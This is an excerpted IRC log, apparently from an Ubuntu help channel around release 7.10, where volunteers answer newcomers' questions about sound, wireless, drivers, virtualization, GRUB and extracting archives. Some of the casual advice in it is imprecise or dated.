reason it won't start up? [05:38] hmm could be corrupted [05:38] slliness, ls /dev/sd* give me the output (pm it if theres alot) [05:38] ok [05:38] i did that and it still won't let me in [05:38] it starts using sudo gaim with no problems [05:39] How to use microphone?

[06:15] sunspec, ie device name [06:15] MasterShrek: i have the sources for 2.6.22 under /usr/src/linux-source-2.6.22 (a 44mb extracted bz2).

[06:25] WAY faster [06:25] no prob [06:25] vibox ftw [06:25] does anyone here use their dvd player in vmware running windows? [06:25] the thing i don't understand is that i figured the boot info would be on the HD that i had ubuntu on so i wasnt worried about messing with the partitions on the other disk [06:25] i do in virtualbox [06:25] flexgrip: virtualbox? is it something other than vmware? [06:25] Is wine or Cedega the best option for a new user to linux, who desperately would like my World Of Warcraft here in linux ;) [06:26] wine [06:26] I got that up, but it crashes when I log in the game. When world is about to load [06:26] shau1 - yeah, virtualbox is like vmware. Some have more luck with it. Some like vmware.

What's that mean? [06:28] flexgrip how are the drivers? [06:28] ma1, what problem? [06:28] that means you probably typed in the path wrong [06:28] ma1, use virtualbox [06:28] !virtualbox [06:28] VirtualBox is open-source virtualization software for x86, with a proprietary "enterprise" version sporting additional features.

[06:48] MasterShrek: yup ... is there a driver i can download?

[06:49] got a hunch my problem is that of permissions, but thanks i'll look into it [06:49] fully [06:50] I asked earlier, but does anyone know any software that will tag 25 thousand mp3's and fetch the info from like amazon or cddb? [06:50] whabo, maybe, tried a different access point? [06:51] flexgrip, cddb wont work for mp3 [06:51] anyone here use compiz? [06:51] cddb = cd database [06:51] Is there anyone here that really knows their sound stuff that I could talk to? [06:51] A game I want to play has binaries available. The instructions are as follows: "Basically, just unpack the archive, install SDL libraries (if you downloaded SDL version), and run the executable." Do different programs using SDL have different libraries, or might I already have what it needs? [06:51] anyone here have a clue about gproftpd ? [06:51] Would it help to see the wobsite? [06:52] i need help with it [06:52] macksting, chances are you need the -dev packages pertaining to sdl, search synaptic for sdl and install everything that starts with sdl and libsdl [06:52] Mastershrek: yeah i tried both routers same thing a belkin one and a netgear one ... its the PCI netgear card in my laptop that is getting the low signal not my router === cHeChA_cE_EmO is now known as zizah [06:54] hi................... [06:54] hi.................. [06:55] If the binary was correct and ready but I didn't have the SDL libraries, would it complain accordingly? [06:56] macksting, most likely [06:56] Then I wonder what's wrong... [06:56] Darn. Might have to compile, and I'm still wet behind the ears in that regard. [06:56] not definately though [06:56] Hmm. [06:56] get those sdl dev packages, chances are itll need them [06:56] * macksting czechs for SDL libraries he doesn't have again. [06:56] MAstershrek: should i use the ndiswrapper option when i configure it rather than the antheros communication ??????? i have 2 options [06:57] i dont know for sure whabo, it may or may not help you, and maybe not work the trouble [06:57] hey guys, are there any vmware experts here? [06:58] MAsterShrek: ill try that .. thx [06:58] * macksting just kinda hopes for now. [06:58] or at least, knows how to deal with the sound in vmware? [06:58] i installed ubuntu off an old live cd just now. the live cd itself was ubuntu, but when i got into the installed os, everything was kde. what gives? [06:59] chainsinthewall: you sure it wasn't Kubuntu? [06:59] was it kubuntu? [06:59] you can check to see if gnome is installed before you login by clicking on the sessions tab [06:59] im positive. i only downloaded kubuntu once, but i threw that disc out long ago [07:00] hi, I'm having some problems configuring my wireless network connection, I'm a newbie and want to configure this from the command line.

I have issued already iwconfig wlan0 key s:mykey, and iwconfig wlan0 key open.

[07:00] guys [07:00] How do I try running the program from the terminal? [07:00] can anyone here try sudo -s? [07:00] (Sorry, it's like my sixth day using Linux at all.) [07:00] tell me what is the output? [07:00] chainsinthewall: and, it wasn't kubuntu on the LiveCD? 'cause what you're describing is pretty much impossible. [07:01] can anyone here try sudo -s tell me what is the output? [07:01] LGNR: You might wanna stick to a wired network for linux I've heard horror stories about trying to set up a wireless connection in linux [07:01] cdm10, well, its what happend. i know what ubuntu looks like. i know the cd was ubuntu [07:01] hi [07:01] LGNR - wireless is super easy man [07:01] linxuz3r: try "man sudo" [07:01] wireless worked fine for me with ubuntu [07:01] chainsinthewall: well, that's really strange... you can install Gnome by running < sudo aptitude install ubuntu-desktop > [07:01] is there a ram limit for ubuntu like in windows? [07:02] hi gradin [07:02] it should be really easy to setup with network manager [07:02] but on the command line [07:02] gradin try sudo -s tell me what is the output? [07:02] m0u5e: Yes, but it's quite high. [07:02] its easy too [07:02] hellow [07:02] Tomcat_: whats the 32bit limit? [07:02] m0u5e: as far as I know, the ram limit is your hardware's ram limit... which is going to be 4 GB or less if you have a 32 bit processor [07:02] linxuz3r: inresting bug [07:02] m0u5e: I heard something between 3 and 4 GB. [07:02] cdm10, thanks [07:02] Tomcat_: hmm [07:02] thx :) [07:03] ok, thanks flexgrip, [07:03] m0u5e: Theoretically, it's 4 GB. [07:03] * macksting shrugs. [07:03] hi [07:04] LGNR - sudo iwconfig wlan0 essid whatever key s: (and if it is intel) mode managed [07:04] There'r ways around the 4GB limit of memory although they are tricky [07:04] then do ifconfig wlan0 up [07:04] dhcpcd [07:04] So anyone up for a monster sound problem? [07:04] sorry [07:04] macksting: what do u want 2 run? [07:05] Hi, I already hit up the man pages and couldnt figure out what the command line is to extract a tar.gz to a particular directory. Anyone know? [07:05] zloog [07:05] ya? [07:05] tar zxvf whatever.tar.gz /whatever/whatever [07:05] coal [07:06] zloog its tar xvf name.* [07:06] easier than i thought. Thanks [07:06] hey flex what's the z option do for tar? [07:06] but just put the target directory as the last argument? [07:06] Help [07:06] what's up rabi [07:07] I can't use "desktop-effect" in may machine. [07:07] -z filters through compress or uncompress [07:07] not really needed [07:07] ok, thanks flexgrip [07:07] just a habbit [07:07] ahh [07:07] rabi - install the restricted drivers if you are in gutsy [07:08] No restricted drivers flexgrip [07:08] rabi - what vid card you have [07:08] hi [07:08] integrated video card === c9s_ is now known as c9s [07:09] in 710 it should give you the option to install the restricted drivers for the intel chipset - rabi [07:09] Is there any solution? [07:09] yah I m using 7.10. [07:09] It tells no restricted driver is needed. [07:10] I just woke up and I had the surprise to have instead of my X display a dialog telling me "X is running in restricted mode" [07:10] what happens when you try to enable the "Extra" effects [07:10] /s irc.indo.net.id [07:10] (I never shutdown my box) [07:10] thyeta [07:10] it says "Desktop Effects cannot be enabled" [07:10] (I didn't install the last restricted driver updates) [07:10] uhmm [07:10] so how the hell did that happen ?! [07:11] is there a metapackage for the lamp server that you install from the server cd [07:11] rabi - search the forums for your intel card and see if it has a tutorial to install the 3d accelerated driver [07:11] why X got restarted and had reset my preferences and changed my keyboard, display and graphic card configuration ? [07:11] so, anyone have any idea on how I can solve my sound crisis? [07:11] Lore2 - whats the prob? [07:12] best program for burnign DVDs is? [07:12] Ok, so I had sound working for the majority of my applications except for mplayer, but I use mplayer a lot so I tried getting it to work for mplayer [07:12] k3b? [07:13] hey how do i execute a *.run [07:13] Sound just wouldn't work so I recompiled my ALSA with the latest asound version 1.0.15 [07:13] MrPockets - i like k3b, and nero worked good for me to. The linux version is available [07:13] When I boot from bootable CD (from normal boot option) then It is enabled by default. But I couldn't Install the system from there. I have installed my system from booting safe boot option in Live CD. [07:13] just apt-get? [07:13] it's really not acceptable to have X restarted without no warning [07:13] Now I have sound in mplayer, but in everything else it doesn't work. [07:13] Does anyone know of a good piece of software that will help me stream video? [07:13] vlc allows streaming as well as mplayer i believe [07:14] MrPockets - no, probably have to download it from the website and run the install script [07:14] did you check in your sound options that you are using alsa? [07:14] Shadix: I think you do ./whatever-file.run [07:14] MrPockets, apt-get /home/Shadix/desktop/****.run? === RyN_cew is now known as thyeta [07:14] I think. :-/ [07:14] I checked in the sound options and it says i'm using alsa and it works in mplayer but nothing else. [07:14] rabi - thats kind of weird. probably need to check your xorg and see if the right driver is enabled. I would check a few tutorials for help [07:14] Here's my situation: I want to take MPEG-4 video from a security camera, stream it to a server, have it cached at the server, and streamed to 100+ users [07:15] and still have it nearly realtime. [07:15] how do i paly mp3 on linux [07:15] well i'd imagine that you'd need some sort of embedded device handling some of the number crunching for the streaming of that or a gnarly computer. [07:15] quantus: [07:15] Lore2, sounds to me like you didnt need to recompile alsa. I would try to use synaptic if you can to remove it and go back to the version you had. Then install anything in synaptic that says gstreamer [07:15] chilli: have you installed the w32codec restricted package? [07:16] guys, anyone has tried clamfs? [07:16] lore2 - or try that in reverse order [07:16] oh i had gstreamer installed beforehand and it wouldn't work [07:16] King_Critter, I tried but command not found [07:16] did you have gstreamer-ugly and gstreamer-bad installed? [07:16] Hm [07:16] sudo ./whatever.run === rodserling_ is now known as rodserling [07:16] Lemme check something really quick [07:16] Does anybody have ANY clue why my internet keeps dropping and I have to click network manager and select my network to reconnect all the time!? [07:16] need help adding windows to the boot menu! [07:17] are you using a wifi connection joshooa? [07:17] Lore2: Yes [07:17] Joshooa - what kind of network card? [07:17] Lore2: It didn't do this in 7.04, it's a Linksys WRT54g, rt61 chipset [07:18] tried alt+F2 and drag n drop then run [07:18] Joshooa - mine did that when i had too many networks around. It would switch to the strongest signal and keep disconnecting [07:18] does someone know how to add windows to the Grub?? [07:18] There's only 1 network around [07:18] janerik - yeah [07:18] flex: i don't have gstreamer bad package installed as its not available through my synaptic [07:18] have to edit grub [07:18] are you on 7.10 or 7.04? [07:18] And when I play World of Warcraft, I can't attack or talk or anything, but I can continue to see other people move and talk around me [07:18] flexgrip: and can you please help me do it:-) [07:18] 7.10 now [07:18] i'm still running 7.04 as 7.10 wouldn't upgrade for me, had a nasty lil episode with that. [07:18] sure janerik - give me one second [07:18] i have no idea about web programming. all i need to do is upload a file for share. my internet provider gives me 50mb for free, any idea how to make it ? im a real newbie === RyN_cew is now known as thyeta [07:19] Shadix: I just checked, and it *should* be ./ [07:19] so I dunno [07:19] hi all - I just installed mp3blaster - I tried to play somthing and is only says "Failed to open sound device.".... can anyone give me some advice? [07:19] Lore2 - I would really think about going back to the original version of alsa [07:19] that sound's like a abnormally high ping rate joshooa, what kind of dx emulation do u use for WoW? [07:19] then fixing mplayer instead of alsa [07:19] sudo ./et-linux-2.55.x86.run [07:19] sudo: ./et-linux-2.55.x86.run: command not found === RyN_cew is now known as thyeta [07:20] flex: i'll try going back to my old version of alsa, but I had pretty much exausted everything I could do with mplayer before attempting the alsa recompilation. [07:20] janerik - do you know what device the driver and partition you need to add to grub are named? [07:20] hey, got another lead: try sh wahtever comand [07:20] Lore2 - I am not that much of a sound expert [07:20] BUT [07:20] is it on a laptop? [07:20] flexgrip:I'm not sure... How can I see that?? [07:20] so: sh et-linux-2.55.x86.run [07:20] hi, can anyone please help me get my ac3 passthrough working? (I had it working yesterday, but it mysteriously stopped working today) [07:21] nah i'm using a pci sound card, but its made by creative [07:21] its the 24-bit Creative SB Live card.

[07:22] King_Critter, there we go thanks [07:22] lore - I dont know man. thats kind of a weird issue. make sure your external amp is turned off [07:22] i thought it was ./ too but that must be to execute a command [07:22] card 0: CS46xx [Sound Fusion CS46xx], device 2: CS46xx - IEC958 [CS46xx - IEC958] [07:23] i hear no sound from my speakers when I do aplayer -D hw:0,2 [07:23] yeah, its frustrating. Even moreso cause I program stuff part time but I just recently switched over to linux so I'm not sure how the programming end of things works for adding functionality / fixing bugs without my old tools :( [07:23] my internet provider says i have right to up my webpage including 50 mb for free, the point here is how this posible ?

Am I wrong? [07:47] i dont use konversation [07:47] JonathanPM, probably the driver may integrated into kernel itself, so no installation is required, please tell your motherboard model no to confirm [07:47] airtonix, sometimes, sure, depending on the device. [07:47] utarpradesh: http://beagle-project.org/Ubuntu_Installation [07:48] whyameye: yes [07:48] Madpilot: like for instance the nvidia geforce mx440 [07:48] i have the Asus m2n-e sli [07:48] who knws how to hack laptops lcd to desktops [07:48] Madpilot: the s-video seems not to work when x kixcks in [07:48] neopsyche: the 50-60 hz are the DC frequenze [07:48] i both installed it and downloaded the archive; i extracted the archive and have been running it out of there [07:48] but it suddenly closed on me [07:48] neopsyche, no, there has to be a modelnumber on it, something like M1931DF [07:48] Madpilot, ubuntu has some drivers installed in it know [07:48] and i can't open it back again [07:48] Varka: no.. i only see a serial number [07:48] swarna, lots, yes.

[07:56] Varka: it says M1941DF ;-) [07:56] it seems when I installed that new version of alsa, it recompiled the driver part into the kernel :) oh joy. [07:56] airtonix: ah. thanks. installing now [07:56] neopsyche, aaaah :) [07:56] i have a small problem with evolution on 7.10 [07:56] *sigh* This is going to take a while...

[07:58] neopsyche, vendorpage, but its quite hard to find, seems it is just a noname branding [07:59] can som1 giv me a link to theme for wubi linux [07:59] Cool: I've just set up ubuntu, and i'm trying to use the media player. I'm running a A-bit IC7 motherboard, which has 3 ports for 5.1 surround sound. I am only getting sound out of one port. [07:59] Is there a way to empty the trash as root?

[08:00] Reno, check out pm for ubotu [08:00] !sound > Reno, [08:00] or not [08:00] Varka: there seems to be a manual on there [08:00] Ayabara: ok when i used compiz and alltray, it had no effect on anything, so apt-get remove alltray its useless to you while your on compiz [08:00] airtonix: ok. I actually had a cool addon for it once, but I forgot the name. [08:01] airtonix: ok. thanks for helping [08:01] Varka: LOL! after clicking the link I am greeted with...

[08:38] hey after a while of being logged in i get some weird nintendo looking error style stuff on the bottom right side of the screen what is that? and how can i get rid of it [08:38] Varka: http://paste.ubuntu-nl.org/46205/ [08:38] Hey can someone try something for me with the livecd?

[08:40] but it usually shows up when using firefox [08:40] there are hidden things running in the background, open up system monitor [08:40] but either way it dont take long to show up [08:40] hello [08:40] bazzieb: tar zxf blah.tgz [08:40] how do i get to that [08:40] savi0r666: thats not the question.

[09:09] In installation the errors are: Can't configure mysql [09:09] and in uninstallation [09:09] neopsyche, remove the UseFBDev option, as it is unused by the driver, added noDCC option to tell the driver no to ask the monitor what refreshrates to use but to use the ones provided in the monitorsection in horizsync and vertrefresh [09:09] k0d1: need more info [09:09] ok [09:09] w8 [09:09] airtonix: back yet? I think I found my answer, apt-cacher. [09:09] neopsyche, gksudo gedit /etc/X11/xorg.conf or on cli sudo nano /etc/X11/xorg.conf [09:09] k0d1: do you mean "wait" ? [09:10] ikonia: yeap I try to uninstall again ant to show you the errors [09:10] I have a .Tar.Bz2, what do I do with it? Went to download the Linux Second Life client, this is what it came as...(First time usin linux, new to filetypes) [09:10] n2diy_: the one i was using was apt-mirror [09:10] can anyone help me understand why I get an error which reads "trying to overwrite `/etc/init.d/nessusd', which is also in package nessusd" when trying to install the most recent nessus from their .deb package? [09:10] n2diy_: since my ISP gives me unmetered access to its ubuntu repos, im laughing, but for others its a nightmare [09:10] k0d1: please use a pastebin when you get the errors [09:10] ok I have good one for ya I have a multi media card reader accepts flash cards like sd mmc and the lot i can read usb flash drives but not sd cards why not [09:10] ok ikonia [09:10] timsandtoms, just tar -xjvf [09:11] Varka: why gksudo and not just sudo? [09:11] tronyx: it means its trying to overwrite the startup script [09:11] n2diy_: http://www.howtoforge.com/local_debian_ubuntu_mirror [09:11] tronyx: it explains it in clear english [09:11] I am getting problem with nautilus! when I try to rename a folder or create a folder keyboard doesn't type. I need to manually change the input method from "X Input Method" to SCIM. how to resolve it? [09:11] tronyx: don't use the deb files from their site, use the ubuntu packaged versions [09:11] hi all [09:11] Varka: Huh? [09:11] airtonix: I'll look at that too, Synaptic is starting up now. Roger on the nightmares, on dial up. Roger the link. [09:11] ok ikonia, how would i fix that? [09:11] neopsyche, for graphical programs always use gksudo as it can come to problems with the environment using just sudo with them [09:11] ikonia: its is sadms [09:11] tronyx: you don't. Use the packages from ubuntu [09:11] bazzieb: sadms ?

[09:12] (EE) AIGLX: Screen 0 is not DRI capable [09:12] timsandtoms, whats the problem? just do as i said [09:12] tronyx: then get support from them - not ubunut. This is not an ubuntu issue [09:12] ikonia: hi [09:12] n2diy_: but for your apt archive [09:12] why is ssh not a standard ubuntu supported package? Is there something else I should be using instead? [09:12] himar: hi [09:12] ikonia: ubuntu supports the new ones ¿ [09:12] ah alright, thanks for clearing that up iknoia, i was confused but you helped me figure it out [09:12] Bollinger: ssh is an ubuntu package [09:12] ikonia: http://paste.ubuntu-nl.org/46208/ [09:12] himar: then why are they not in the repo [09:12] tronyx: no problem [09:12] Bollinger: it is but your referring to the fact that ubuntu is not a native ssh-server [09:12] airtonix: interesting, I'll take a look at that too. [09:13] ikonia: yeah [09:13] Varka: ok, now control alt backspace?

[09:17] just i get no response when I insert an sd cards [09:17] xpoferens: I think support time is off. [09:17] ikonia: SADMS takes care of handling configuration files to achieve the the integration (joining) of Linux hosts to an ActiveDirectory domain, to the effect that [09:17] bazzieb is the binary called "sadms" [09:17] bazzieb thank you for the tip also, thats handy to know [09:17] good morning [09:17] Varka: Ok, open [09:18] http://sadms.sourceforge.net/ [09:18] thanks rabi [09:18] JonathanPM: as I said most sd cards are not supported under linux, only a few are. Check its a supported chipst [09:18] ikonia: when i type mysql -u root i got: http://paste.ubuntu-nl.org/46210/ [09:18] ikonia: this is the site [09:18] timsandtoms, where did you save the SecondLife_i686_1_18_4_3.tar.bz2 ? [09:18] now i got a 7.04 cd here [09:18] http://sadms.sourceforge.net/ [09:18] Varka: Desktop [09:18] i dont know how t do that [09:18] but its not 64-bit [09:18] bazzieb: thats handy to know, thank you, I'll bookmark that [09:18] xpoferens: download the 64bit version then [09:18] ikonia: lick on install on the left hand coloum [09:18] im in south africa [09:18] bazzieb: I'm not going to install anything [09:18] and i got a CAP [09:18] ummm just hear d my HDs pwer down...

[09:19] timsandtoms, ok then type: tar xvjf ~/Desktop/SecondLife_i686_1_18_4_3.tar.bz2 [09:19] and another thing whats the difference between 32 and 64 bit [09:19] xpoferens: you can order free cds from shipit.ubuntu.com. [09:19] ikonia: dont install, it just tells you how [09:19] JonathanPM: one is 32bit, the other is 64bit, if you have to ask, use 32bit [09:19] thtas what i did, takes so long, but ill do that [09:19] bazzieb: why do I want to know how to install it ? [09:19] just want you to see what i am talking about [09:19] oops [09:19] will 32bit run on my 64bit pc [09:19] im using 64 [09:19] xpoferens: what do you want this support channel to do to help you ? [09:19] Varka, ok, thanks, its doing... something [09:19] (i think it will right) [09:19] xpoferens: yes it will [09:19] okay thank you [09:20] ikonia: I think that my mysqlserver is taking drugs :( [09:20] i appreciateyour help dudes [09:20] :) [09:20] it said that since I was using and athlon 64 x2 that I should use 64 bit [09:20] timsandtoms, ok, now start it but typing: ~/Desktop/SecondLife_i686_1_18_4_3/secondlife [09:20] k0d1: its not, you've not unstalled it, and the process is not running so of course you can't set the root password as there is no database running [09:20] Varka: Thanks .. :-) It diddnt work at first.. but then I used nano on command to change Intel to i810 and now its in the top resolution !@ :-) Thanks man! [09:20] xpoferens: there are compat libs to let you do so... the only 32bit app i use is the ET:quake wars and it works fine [09:20] JonathanPM: what said that ? [09:20] ikonia: I cant set root password [09:20] neopsyche, no problem [09:21] k0d1: you can't because mysql is not running. As I've just told you 6 lines up [09:21] the little pamphlet my friend gave me [09:21] JonathanPM: then your friend is wrong [09:21] bash: /home/brian/Desktop/SecondLife_i686_1_18_4_3/secondlife: No such file or directory [09:21] Varka: are you a sysadmin? [09:21] ikonia: sorry ok i understood. But i want to unisntall it [09:21] and to reinstall it again [09:21] JonathanPM: you can run 64 bit but you do not *have* to [09:21] ikonia: if you could just read what they say under the "install" section, you could tell me how to "run" it?? Pretty please [09:22] k0d1: ok - so look at the error, /var/lib/dpkg_info/mysql-server(blah) has a file missing [09:22] does anyone know if there's a way to edit how icon's are displayed on the desktop? [09:22] neopsyche, depends [09:22] bazzieb just tell me the binary name [09:22] ok then should i uninstall the 64 bit version and reinstall the 32 [09:22] Lore2: in what way? [09:22] Varka: just wondering.. because its really nice of you to just hangout here and help people [09:22] JonathanPM: thats up to you [09:22] Lore2: how are diplayed? size? colour? [09:22] ikonia: how do i find that? [09:22] k0dl qsl? [09:22] neopsyche, just like a whole bunch of other helpers around :) [09:22] well i dont know because I dont understand the difference [09:22] bazzieb: just type "sadm" [09:22] for instance My icon's are currently too big, and the keep aligned feature isn't working properly [09:23] Varka: yeah.. really cool [09:23] how to install vmware? [09:23] Varka: I get bash: /home/brian/Desktop/SecondLife_i686_1_18_4_3/secondlife: No such file or directory when i type what you said [09:23] 1vmware [09:23] it seems like the screen is divided into hexagon's rather then squares when it comes to keeping icon's aligned [09:23] !vmware [09:23] VMWare Player is in Ubuntu's !Multiverse repository (package "vmware-player"), and http://www.easyvmx.com/easyvmx.shtml can create VMs for it. For VMWare Server, instructions can be found at https://help.ubuntu.com/community/VMware - See also !virtualizers [09:23] Trying to dist-upgrade edgy to gutsy i receive: " udev: Breaks: libdevmapper1.02 (< 2:1.02.08-1ubuntu7) but 2:1.02.07-1ubuntu2" is it a known bug/problem? [09:23] JonathanPM: I strongly advise against that [09:23] JonathanPM: sorry [09:23] Varka.. another thing im having a problem with is getting the mobile phone software for ubuntu working called wammu, do you think you would be able to give some advice/assistance on this? [09:23] ikonia: I can't understand the error [09:23] JohnMike: I strongly advise against that [09:24] so I should keep 64 bit then [09:24] k0d1: the uninstall script is complaining a file is missing in /var/lib/dpkg/info [09:24] ojh [09:24] JonathanPM: thats up to you [09:24] ok [09:24] uuhhhggg im so confused [09:24] any ideas on the icon thingy majig? [09:24] timsandtoms, can you change to the directory by typing "cd /home/brian/Desktop/SecondLife_i686_1_18_4_3" ? [09:24] ikonia: yeap but how can i put the file in this folder? I dont have it :( [09:24] i know its up to me but i cant make an inteligent decision if i dont know why i am making it [09:24] hmm.. suddenly my video is messed up.. its like its a dark red layer over the movies.. in both vlc and movie player.. Ive seen this in movie player before .. but not i vlc.. [09:25] JonathanPM: the 64bit will give you prolems because some programs wont run on it [09:25] k0d1: just touch an empty [09:25] Varka: Didnt seem to do anything [09:25] hello, my friend says he won't use ubuntu because of a number of reasons, the only reason that has any merrit is being able to create encrypted partitions easily [09:25] ikonia: ok i will make an empty [09:25] incorrect: there is reasy ways of doing that [09:25] neopsyche, i dont use wammu sry [09:25] ok [09:25] airtonix, as part of the install? [09:25] :-) [09:25] Lore2: maybe with the gconf-editor in apps>nautilus>icon_view ?? [09:25] just like some progs dont work on a mac [09:25] Does anyone here use wammu? [09:25] ikonia: this is what i get: to start sadms, run 'sadms' as root [09:25] incorrect: there are even howtos on the ubuntforums [09:26] Varka: Ah, installed into /home/brian. What kinda file should I look for to run? [09:26] bazzieb: why are you running as root [09:26] timsandtoms, thats ok, if no messages arrive it means everything went right [09:26] how would i get a ATI x600 to be able to use compiz fusion [09:26] incorrect: basically you install prog nad bang [09:26] bazzieb: where did you install "sadms" ? /usr/bin ? /usr/local/bin ? [09:26] do i have to configure it differntly? [09:26] the restricted driver manager didn't work... [09:26] airtonix, cool, i just never worried about it before [09:26] well ill wait till it calms down here and then come bck whemn everyone isnt so stressed [09:26] what about creating raid vols during installation? [09:26] JonathanPM: everyone is calm [09:26] !raid [09:26] Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto [09:26] for the encrypted partition thing is there really an easy way to do that i've only heard that the current implementations have gaping security holes rendering the act of encrypting drives almost useless. [09:27] incorrect: only the server cd can do that [09:27] hehehe.. ubuntu on a PS3 http://psubuntu.com/2007/02/05/howto-snes-emulator/ [09:27] :-) [09:27] ikonia: so confused right now, will check and gt back to you?

[09:28] neopsyche: you don't need much to run Linux; a 32-bit CPU and an MMU and you're pretty much there [09:28] stuff i hadn't faced for years [09:28] Varka: Yeh [09:28] What's a good command-line id3v2 tag reader?

[09:30] neopsyche: I'll tell you about it in #ubuntu-offtopic if you're that interested ;-) [09:30] !info xserver-fglrx [09:30] Package xserver-fglrx does not exist in gutsy [09:30] When I used package manager I got two options, unrar and unrar-free, why oh why did I go for unrar-free ;) [09:30] incorrect: thats a silly complaint thats not practical [09:31] any one able to help me understand how to get het nvidia geforce mx440 to output a display toa lcd tv via the s-video cable ? it shows a clone of the main display during POST but then X turns the display on the tv into a mishmash of colours [09:31] ikonia, well he creates his servers with encrypted software RAID [09:31] !info xorg-driver-fglrx > himar [09:31] isn't that a bit excessive?

Keep Aligned seems to have the desktop mapped as hexagons rather then squares and the Icon's don't line up correctly, also there's a huge gap between the left side of the screen and where you can put the icon at the left most side.

New to ubuntu btw [09:43] jayzer: they have always been bad [09:43] jayzer: gstreamer packages [09:43] !synatpic >timsandtoms [09:43] timsandtoms: take a look at the pm from ubotu [09:43] hi man [09:44] ok !!!! I'm a genious! it works ... thanks ikonia :) [09:44] airtonix, ok [09:44] ikonia: I'm sure I'm set the right path within the config, but it does not connect to my music library? [09:44] I need a bit of help, i downloaded some drivers (off the nVidia site) for my GeForce 6100. It says to type "sh NVIDIA-Linux-x86-100.14.19-pkg1.run" to run it in the terminal but it just says it can't open it. (File is on the desktop) [09:44] just a little problem ... when I run compiz from a console it says : Checking for Xgl: not present. [09:44] is there anybody interested in Digital Camera ? [09:44] kaul: use the restricted manager [09:44] didnt help any, it says it doesnt know anything about it [09:44] kaul: why have you downloaded the drivers from nvidia.com [09:44] kaul: System>Admin>restricted manager [09:45] timsandtoms: it tells you how to use the package manager, for which you can search for the package you want [09:45] !synatpic >ikonia [09:45] should I have Host set to localhost ikonia, and the port as install default [09:45] timsandtoms: I dont' need that [09:45] timsandtoms: ? [09:45] hi to all [09:45] JJtech: hi [09:45] !synaptic [09:45] synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto [09:45] because i have tried the drivers in system>admin>screens and graphics and none of them work for me [09:45] justin_he: hello [09:45] !synaptic >timsandtoms [09:45] timsandtoms: I made a typo the first time [09:45] justin_he: topic? [09:45] ikonia: Haha, thanks. Thats why i sent it back to you, show ya what i got [09:46] hi there .. can i edit the files /etc/readahead or are they generated by some script? [09:46] ive got a question about a database: i want to organize my home banking and Budget Paper things in a database like mySQL - just because it sucks to do these things in different programms like gnucash and excel/Calc. thats why i switched to linux/ubuntu last week. So my question is: mySQL is very hard to learn (for me) is there any other database solution easy to use like just as a text file... [09:46] ...or something? [09:46] kaul: the driver you downloaded can be instaled easily with System>Admin>restricted manager [09:46] zimon: they are created at install, but you can edit it [09:46] ubuntu can install game privite server ? [09:46] I have been trying to install b32 so I could get my Broadcom Corporation BCM94311MCG wlan mini-PCI (rev 02). then it turns out a can't compile or use something like synaptic to isntall it [09:46] to run compiz-fusion have I to run compiz , isn't it ? [09:46] suddenly my video is messed up.. its like its a dark red layer over the movies.. in both vlc and movie player.. Ive seen this in movie player before .. but not i vlc.. anyone got a clue how I can fix this? I have no clue where this come from.. [09:47] JJtech: do you like DC ? [09:47] ikonia, so my changes won't be lost? [09:47] Puchti: I dont' know if mysql is hard to learn for you as I don't know you, but it is a full relational datbase [09:47] zimon: shouldn't be [09:47] why it search for XGL and no fot AIXGL ???? [09:47] blackfox: you mena can ubuntu act as a private game server? [09:47] Puchti: you can use open office database, its more user friendly [09:47] erUSUL: how do i do that? [09:47] ikonia, alright .. i'll try [09:47] sweet [09:47] kaul: for the third time go to --> System>Admin>restricted manager <<< [09:47] does anyone know how I can configure Sonata correctly please? [09:47] justin_he: DC??? i have no idea [09:48] i have [09:48] mikebeecham have you read the docs on it [09:48] ikonia: i know, but mySQL is a littlebit to much for me- i just want a db - easy to use and safe [09:48] what is it? [09:48] hey erUSUL there's also a view tab that lets you change the size of icons Folder Options->Edit->Preferences->View [09:48] ikonia: How does that help install Rhino? I have a CD for it for Windows [09:48] kaul: and you activated the driver for nvidia and rebooted? [09:48] I cant find the docs on it...if I found them I could read up, couldn't i? [09:48] Okay - two stupid questions that I should be able to answer myself --- What is the current 'stable' release? And how do I figure out what releast I am running now? [09:48] timsandtoms I said see if there is a version in the repos. If you want to use the windows version you will have to use "wine" [09:48] JJtech: yeah , it means Digital Camera [09:48] anyway... what would be the best microsoft emulator?? [09:48] Lore2: occam's razor comes to haunt me... ;) [09:48] Sycofantic: 7.10 and 6.04 are the stable releases that are current [09:48] whenever i enable it, it says it could not be enabled [09:48] hehe [09:48] Sycofantic: lsb_release -i should help [09:49] justin_he: ahhh.. i see.. Digi Cam.. ofcourse i do.. [09:49] Sycofantic: 'cat /etc/issue' [09:49] And their names are? [09:49] tech0007: can i acess this db with any other program? not just open office? [09:49] Sycofantic: www.ubuntu.com - look for yourself [09:49] !microsoft [09:49] For discussion and help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents [09:49] Good-oh :) [09:49] ikonia"Ah, ok, sorry. It runs for about $1K, so I doubt I'll find it there. Can I just add Wine through the Add/Remove or Synaptic? [09:49] lol [09:49] lol [09:49] !nvidia | kaul [09:49] timsandtoms: that should work [09:49] kaul: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [09:49] I get lost with the names, stable/unstable/testing and version numbers... :( [09:49] !wine >timsandtoms [09:49] i want to use some shell scripts and such things on it... [09:50] WINE sucks.. don't install or whatsoever.. [09:50] timsandtoms: check ubotus message again ;) [09:50] I have the same problem with OS X [09:50] ikonia: where can I find the docs for Sonata? [09:50] guys, can i "browse" ubuntu repositories? where? [09:50] ikonia: yeah.. i see it.. lol [09:50] JJtech: thats a personal opinion, please make it clear its an opinon, not fact [09:50] JJtech: you using 0.9.42? it's actually pretty good, so don't knock it [09:50] kaul: please follow the direction on the wiki for manual instalation of nvidia-glx packaged drivers [09:50] JJtech: you see what ? [09:50] JJtech: latest is 0.9.49 now I check [09:50] timsandtoms, you wont find any windowssoftware in synaptic. should be obvious why ;) you are able to run several windows programs withing linux with wine, but it doesnt look good with rhino3D http://appdb.winehq.org/objectManager.php?sClass=version&iId=2557 [09:50] ikonia: oopss... my bad.. nothing... [09:50] Puchti: only open office [09:51] sorry.. [09:51] ikonia: sorry.. [09:51] ari_strees: you can browse ubuntu repositories from packages.ubuntu.com [09:51] ikona: who can you suggest i talk to about nvida? [09:51] Frogzoo: sorry to knock it.. it's just that wine does not work when i tried.. === leagris is now known as Bubulle 